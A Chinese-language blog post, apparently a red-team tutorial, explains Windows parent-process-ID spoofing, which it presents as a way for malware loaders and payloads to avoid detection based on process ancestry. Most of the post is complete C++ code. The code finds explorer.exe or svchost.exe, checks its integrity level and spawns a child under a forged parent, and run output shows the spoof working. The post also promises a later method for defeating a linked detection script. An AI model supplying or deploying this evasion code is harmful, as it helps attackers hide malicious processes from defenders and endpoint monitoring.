ppid伪造(一)

ppid 伪造(一)

让恶意的程序看起来是由另一个进程产生的,主要用于逃避基于父子进程关系的检测

Windows 不能直接修改 ppid,只能在创建新进程时指定父进程句柄

使用环节

通常使用在加载器中,也可以存在 payload 中或者将加载器和 payload 一同送进目标主机

伪造方法

首先构造一个能够检索目标父进程的 pid 的函数,这样可以减少手动操作的不便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 检索目标父进程的pid
DWORD getPPID(LPCWSTR processName)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, processName))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}

主函数中进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>
#include <windows.h>
#include <tlHelp32.h>

int main()
{
STARTUPINFOEX si = { sizeof(STARTUPINFOEX) };
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

// 通过函数 getPPID 获取目标父进程的 pid
// 输入目标进程的名称
LPCWSTR parentProcess = L"explorer.exe";
DWORD parentPID = getPPID(parentProcess);
printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

// 这里末尾的数字是目标父进程的 pid,可以自定义函数获取
HANDLE expProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expProcess, sizeof(expProcess), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 这里添加目标子进程的路径或者启动命令
LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe";
CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);
return 0;
}

测试结果

可以看到伪造成功了,弹出了记事本

1
2
[+] Spoofing explorer.exe (PID: 12048) as the parent process.
[+] Spawning C:\Windows\System32\notepad.exe (PID: 32968)

权限问题

如果目标父进程的完整性级别超过了标准用户,我们就无权访问这样的进程。

此时,我们就希望能有一个函数能够帮助我们检查进程的完整性级别,这个操作使用的函数为 GetTokenInformation,它能够检索与进程关联的访问令牌的信息

修改后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include <atlconv.h>
using namespace std;

// 异常处理
string get_last_error(DWORD errCode)
{
string err("");
if (errCode == 0) errCode = GetLastError();
LPTSTR lpBuffer = NULL;
if (0 == FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, //标志位,决定如何说明lpSource参数,
// dwFlags的低位指定如何处理换行功能在输出缓冲区,也决定最大宽度的格式化输出行,可选参数
NULL, // 根据dwFlags标志而定
errCode, // 请求的消息的标识符
// 当dwFlags标志为FORMAT_MESSAGE_FROM_STRING时会被忽略
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //请求的消息的语言标识符
(LPTSTR)&lpBuffer, //接收错误信息描述的缓冲区指针
0, //如果FORMAT_MESSAGE_ALLOCATE_BUFFER标志没有被指定,这个参数必须指定为输出缓冲区的大小,如果指定值为0,这个参数指定为分配给输出缓冲区的最小数
NULL //保存格式化信息中的插入值的一个数组
))
{//失败
char tmp[100] = { 0 };
sprintf_s(tmp, "{未定义错误描述(%d)}", errCode);
err = tmp;
}
else //成功
{
USES_CONVERSION;
err = W2A(lpBuffer);
LocalFree(lpBuffer);
}
return err;
}

// 检查进程的完整性级别
LPCWSTR getProcessIntegrityLevel(HANDLE hProcess, PDWORD pdwIntegrityLevel)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hToken = NULL;
DWORD cbTokenIL = 0;
PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
if (pdwIntegrityLevel == NULL)
{
dwError = ERROR_INVALID_PARAMETER;
goto Cleanup;
}
// 以TOKEN_QUERY开启此线程的主访问令牌。
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
{
cout << "[!] OpenProcessToken error!" << endl;
dwError = GetLastError();
goto Cleanup;
}
// 查询令牌完整性级别信息的大小。注意:我们预期得到一个FALSE结果及错误
// ERROR_INSUFFICIENT_BUFFER, 这是由于我们在GetTokenInformation输入一个
// 空缓冲。同时,在cbTokenIL中我们会得知完整性级别信息的大小。
if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL))
{
if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
{
// 当进程运行于Windows Vista之前的系统中,GetTokenInformation返回
// FALSE和错误码ERROR_INVALID_PARAMETER。这是由于这些操作系统不支
// 持TokenElevation。
cout << "[!] GetTokenInformation no support !" << endl;
dwError = GetLastError();
goto Cleanup;
}
}
// 现在我们为完整性级别信息分配一个缓存。
pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
if (pTokenIL == NULL)
{
cout << "[!] pTokenIL is null" << endl;
dwError = GetLastError();
goto Cleanup;
}
// 获得令牌完整性级别信息。
if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL,
cbTokenIL, &cbTokenIL))
{
cout << "[!] GetTokenInformation error !" << endl;
dwError = GetLastError();
goto Cleanup;
}
// 完整性级别SID为S-1-16-0xXXXX形式。(例如:S-1-16-0x1000表示为低完整性
// 级别的SID)。而且有且仅有一个次级授权信息。
*pdwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);
Cleanup:
// 集中清理所有已分配的内存资源
if (hToken)
{
CloseHandle(hToken);
hToken = NULL;
}
if (pTokenIL)
{
LocalFree(pTokenIL);
pTokenIL = NULL;
cbTokenIL = 0;
}
if (ERROR_SUCCESS != dwError)
{
// 失败时确保此能够获取此错误代码
SetLastError(dwError);
return L"ERROR";
}
else
{
if (*pdwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
return L"LOW";
}
else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && *pdwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
return L"MEDIUM";
}
else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
return L"HIGH";
}
else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
return L"SYSTEM";
}
}
}
DWORD getPPID(LPCWSTR processName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
bool flag = false;
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, processName)) {
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
if (hProcess) {
LPCWSTR integrityLevel = NULL;
DWORD dwIntegrityLevel;
integrityLevel = getProcessIntegrityLevel(hProcess, &dwIntegrityLevel);
if (!wcscmp(integrityLevel, L"ERROR")) {
cout << "[!] PID = " << process.th32ProcessID << " GetProcessIntegrityLevel failed, Error: " << get_last_error(GetLastError()) << endl;
continue;
}
if (!wcscmp(integrityLevel, L"MEDIUM")) {
flag = true;
break;
}
}
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
// 没有找到 MEDIUM 权限的进程
if (!flag) {
cout << processName << " does have medium integrity level!!" << endl;
exit(-1);
}
return process.th32ProcessID;
}
int main() {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

// 通过函数 getPPID 获取目标父进程的 pid
// 输入目标进程的名称
LPCWSTR parentProcess = L"svchost.exe";
DWORD parentPID = getPPID(parentProcess);
printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

// 这里末尾的数字是目标父进程的 pid,可以自定义函数获取
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, parentPID);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// 这里添加目标子进程的路径或者启动命令
LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe";
CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);
return 0;
}

对抗检测

用这种方法伪造的 ppid 是能够被检测到的

https://github.com/countercept/ppid-spoofing/blob/master/detect-ppid-spoof.py

父进程欺骗绕过可以绕过脚本对于父子原进程关系的检测,减少被发现的可能,这个过几天写


ppid伪造(一)
http://example.com/2025/03/10/ppid伪造(一)/
作者
Tsglz
发布于
2025年3月10日
许可协议